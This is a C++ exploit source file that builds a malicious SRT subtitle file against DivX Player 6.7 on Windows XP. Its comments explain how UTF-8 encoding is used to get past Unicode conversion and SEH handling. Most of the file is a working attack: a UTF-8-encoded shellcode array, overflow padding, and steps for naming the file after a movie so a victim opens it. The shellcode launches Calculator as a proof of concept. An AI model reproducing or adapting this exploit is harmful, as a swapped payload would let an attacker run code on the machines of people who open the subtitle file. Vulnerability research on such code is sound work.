divx-Exploit.cpp.txt

`// Exploit.cpp : Defines the entry point for the console application.  
//  
  
#include "stdafx.h"  
/***********************************************************************  
DivX Player <=6.7 srt subtitle parsing exploit   
Coded by [email protected]  
Tested on Windows XP SP2 + DivX Player 6.7.0  
  
Credit to securfrog for his PoC  
  
Actually this exploit is not relevant to DivX 6.6.0 exploit already posted in milw0rm,since the  
technique is quite different and that exploit is no use for DivX 6.7  
One of the biggest problem is shellcode being converted to unicode (so it has unwanted null byte )  
also the return address,or seh handler has the null byte too  
Another quite touch problem is address of SEH structure(at FS:[0]) is rewritten at the end of the routine  
(with some address stored in the stack which already overwritten) so that   
ollydbg will have no chance to catch any exception before the program terminated by the system  
I've tried srt with ANSI code page with no success(just crash),Unicode is either,DivX does not even recognize  
Unicode subtitle either.The last resort is UTF8,all payload,addresses is encoded in UTF8 format,so DivX will convert to unicode  
at runtine,hence.To modified this exploit,u have to convert to unicode format,fix the address and convert back to UTF8  
  
To exploit this,rename output file with the same name of the movie and load it in DivX Player.  
and the Calculator will be opened  
  
***********************************************************************/  
  
unsigned char Header[38] =  
{  
0xEF, 0xBB, 0xBF, 0x31, 0x20, 0x0D, 0x0A, 0x30, 0x30, 0x3A, 0x30, 0x30, 0x3A, 0x30, 0x31, 0x2C,   
0x30, 0x30, 0x31, 0x20, 0x2D, 0x2D, 0x3E, 0x20, 0x30, 0x30, 0x3A, 0x30, 0x30, 0x3A, 0x30, 0x32,   
0x2C, 0x30, 0x30, 0x31, 0x0D, 0x0A,   
} ;  
unsigned char ShellCode[319] =  
{  
0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86,   
0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90,   
0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9,   
0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB,   
0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1, 0x40, 0xDB, 0xAB, 0xE9, 0x82, 0x90, 0xE1, 0x86, 0xA1,   
0x40, 0xEC, 0xB3, 0x9A, 0xE7, 0x82, 0xBA, 0xE1, 0x88, 0xA3, 0xE2, 0xAD, 0xBC, 0xEB, 0x87, 0x89,   
0xED, 0xA4, 0xA3, 0xE2, 0x91, 0xB4, 0xE5, 0xBF, 0xB4, 0xE5, 0x9C, 0xB1, 0xCC, 0x97, 0xE1, 0x9D,   
0x97, 0xEB, 0x9E, 0x83, 0xEF, 0x80, 0xA7, 0xEC, 0xAE, 0x89, 0xEB, 0x83, 0x80, 0xE3, 0x8D, 0xB1,   
0xEB, 0x88, 0x91, 0xE0, 0xBC, 0xB7, 0xEB, 0xA2, 0x9A, 0xE1, 0x9E, 0xB2, 0xEA, 0xBE, 0x9D, 0xEA,   
0xA0, 0xB6, 0xEA, 0x92, 0x85, 0xE1, 0x98, 0x96, 0xE5, 0x86, 0xB7, 0xED, 0xB7, 0xA1, 0xE2, 0xBA,   
0x83, 0xE0, 0xBF, 0xB3, 0xEF, 0x83, 0x9A, 0xE6, 0x8D, 0xAD, 0xE3, 0x86, 0x99, 0xE7, 0xB3, 0xB9,   
0xE7, 0xAD, 0xA3, 0xE8, 0x8C, 0x8F, 0xE9, 0x9E, 0xA1, 0xEB, 0xA3, 0xA4, 0xE4, 0xB1, 0xB1, 0xEC,   
0xAC, 0x81, 0xDE, 0x9C, 0xE1, 0x9D, 0x96, 0xEF, 0x8D, 0x9E, 0xED, 0xB0, 0x8F, 0xE4, 0xA1, 0xAC,   
0xEB, 0xB5, 0x9B, 0xE4, 0xBD, 0xB0, 0xEC, 0xAA, 0xB0, 0xEC, 0x92, 0x95, 0xE2, 0x9D, 0x87, 0xE8,   
0x98, 0xAC, 0xEB, 0x8D, 0xA3, 0xDB, 0xAC, 0xED, 0xBE, 0xAC, 0xE2, 0xA1, 0xB9, 0xE9, 0xA8, 0x9C,   
0xED, 0x86, 0xBE, 0xE2, 0xBD, 0x90, 0xE2, 0xB9, 0xBE, 0xE5, 0xBF, 0xA2, 0xE8, 0x8D, 0xA3, 0xEF,   
0x9D, 0xBF, 0xE3, 0x82, 0x93, 0xE8, 0xB1, 0xB6, 0xE7, 0x98, 0xA4, 0xE9, 0x8A, 0x89, 0xEF, 0xB0,   
0xA4, 0xEA, 0xBB, 0xA2, 0xE3, 0x8D, 0xBB, 0xEA, 0xB8, 0x85, 0xEB, 0xAB, 0x95, 0xEA, 0xB4, 0x91,   
0xEC, 0x9C, 0x9A, 0xED, 0xA6, 0xB1, 0xEE, 0x83, 0xA4, 0xE6, 0xAB, 0x90, 0xE8, 0xA5, 0xB1, 0xDB,   
0xAB, 0xEF, 0xBA, 0x8F, 0xEF, 0x87, 0xAC, 0xE6, 0x87, 0xB3, 0xE9, 0xB9, 0xBF, 0xC3, 0xB3,   
} ;  
  
int _tmain(int argc, _TCHAR* argv[])  
{  
FILE * file;  
char c='A';  
file=fopen("divx67eVil.srt","w+b");  
if (file==NULL)  
{  
printf("File I/O error");  
return 0;  
}  
fwrite(Header,1,sizeof(Header),file);  
for (int i=0;i<0x402;i++) fwrite(&c,1,1,file);  
fwrite(ShellCode,1,sizeof(ShellCode),file);  
for (int i=0;i<4096000;i++) fwrite(&c,1,1,file);  
fclose(file);  
printf("Done...eVil is in divx67eVil.srt");  
printf("Load it in DivX Player 6.7 with some movie en enjoy");  
return 0;  
}  
  
`